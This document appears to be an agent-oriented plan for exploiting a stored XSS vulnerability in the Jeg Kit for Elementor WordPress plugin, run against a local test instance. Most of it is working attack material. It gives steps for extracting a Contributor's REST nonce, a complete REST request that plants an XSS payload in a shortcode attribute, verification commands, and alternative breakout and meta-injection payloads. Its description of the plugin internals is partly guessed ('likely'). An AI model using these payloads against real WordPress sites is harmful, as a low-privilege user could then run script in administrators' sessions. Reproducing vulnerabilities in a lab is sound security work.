Exploitation Research Plan - CVE-2026-6916

1. Vulnerability Summary

The Jeg Kit for Elementor plugin (up to version 3.1.0) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the sg_content_number_prefix attribute within a shortcode (likely [jkit_fun_fact] or [jkit_counter]). The plugin fails to sanitize or escape this attribute before rendering it on the frontend. A user with Contributor permissions can create a post containing a malicious shortcode, which will execute arbitrary JavaScript in the context of any user (including Administrators) who views the page.

2. Attack Vector Analysis

• Endpoint: WordPress Post Editor / REST API (wp-json/wp/v2/posts)
• Action: Creating or updating a post/page.
• Vulnerable Attribute: sg_content_number_prefix
• Authentication Level: Contributor or higher (any role allowed to use shortcodes).
• Preconditions: The plugin jeg-elementor-kit must be active. Elementor is usually a dependency for this plugin.

3. Code Flow

1. Registration: The plugin registers a shortcode (e.g., jkit_fun_fact) via add_shortcode().
2. Input: A Contributor creates a post where the content includes [jkit_fun_fact sg_content_number_prefix='<script>alert(1)</script>'].
3. Processing: When the post is rendered, the shortcode callback (likely in includes/widgets/Fun_Fact.php or a similar class handling the "Fun Fact" or "Counter" widget) parses the attributes using shortcode_atts().
4. Sink: The value of sg_content_number_prefix is concatenated into the HTML output string and returned to WordPress for display.
5. Execution: Because the output is not passed through esc_html() or esc_attr(), the injected <script> tag is rendered directly into the browser's DOM.

4. Nonce Acquisition Strategy

To inject the shortcode via the WordPress REST API as a Contributor, a REST API nonce is required.

1. Login: Authenticate as a Contributor user.
2. Navigate: Use browser_navigate to go to the WordPress Dashboard (/wp-admin/).
3. Extraction: Use browser_eval to extract the WordPress REST nonce from the global wpApiSettings object:

   window.wpApiSettings.nonce
   

4. Alternative (UI): If using the classic editor, the nonce can be found in the #_wpnonce hidden input field on the post-new.php page.

5. Exploitation Strategy

The goal is to store a payload that triggers an alert on the frontend.

Step 1: Authentication

Authenticate the session as a Contributor.

Step 2: Payload Injection

Submit a POST request to create a new post containing the malicious shortcode.

Request:

• URL: http://localhost:8080/wp-json/wp/v2/posts
• Method: POST
• Headers:
  • X-WP-Nonce: [EXTRACTED_NONCE]
  • Content-Type: application/json
• Body:

{
    "title": "XSS Test Page",
    "content": "[jkit_fun_fact sg_content_number_prefix='<img src=x onerror=alert(\"CVE-2026-6916\")>' sg_content_number_title='Test' sg_content_number_value='100']",
    "status": "publish"
}

Note: If jkit_fun_fact is not the correct shortcode, try jkit_counter or jkit_steps based on the attribute name.

Step 3: Triggering the XSS

Access the newly created post's permalink using an unauthenticated http_request.

6. Test Data Setup

• Users: Create a user attacker with the contributor role.
• Plugin Configuration: Ensure jeg-elementor-kit is active.
• Page Creation: A page must be created by the Contributor to hold the shortcode.

7. Expected Results

• The HTTP request to create the post should return 201 Created.
• The response body of the created post's URL should contain the raw string: <span><img src=x onerror=alert("CVE-2026-6916")></span> (or similar, depending on the exact HTML wrapper).
• When viewed in a browser, an alert box with "CVE-2026-6916" should appear.

8. Verification Steps

1. Check Post Content:

   wp post list --post_type=post --format=csv
   # Find the ID of 'XSS Test Page'
   wp post get [ID] --field=content
   

2. Verify Rendering:
   Use http_request to fetch the post content and grep for the payload:

   # Look for the unescaped img tag
   grep -oP '<img src=x onerror=alert\("CVE-2026-6916"\)>'
   

9. Alternative Approaches

• Attribute Breakout: If the prefix is rendered inside an attribute (e.g., <div data-prefix="PAYLOAD">), use:
  sg_content_number_prefix='"><script>alert(1)</script>'
• Elementor Data Meta: If the shortcode doesn't render via standard post content, inject the payload into the _elementor_data post meta (JSON format) using the REST API or wp post meta update.
• Shortcode Variants: If jkit_fun_fact fails, scan the plugin directory for other shortcodes using sg_content_number_prefix:

  grep -r "sg_content_number_prefix" /var/www/html/wp-content/plugins/jeg-elementor-kit/
  

  The resulting file will reveal the correct shortcode tag registered via add_shortcode.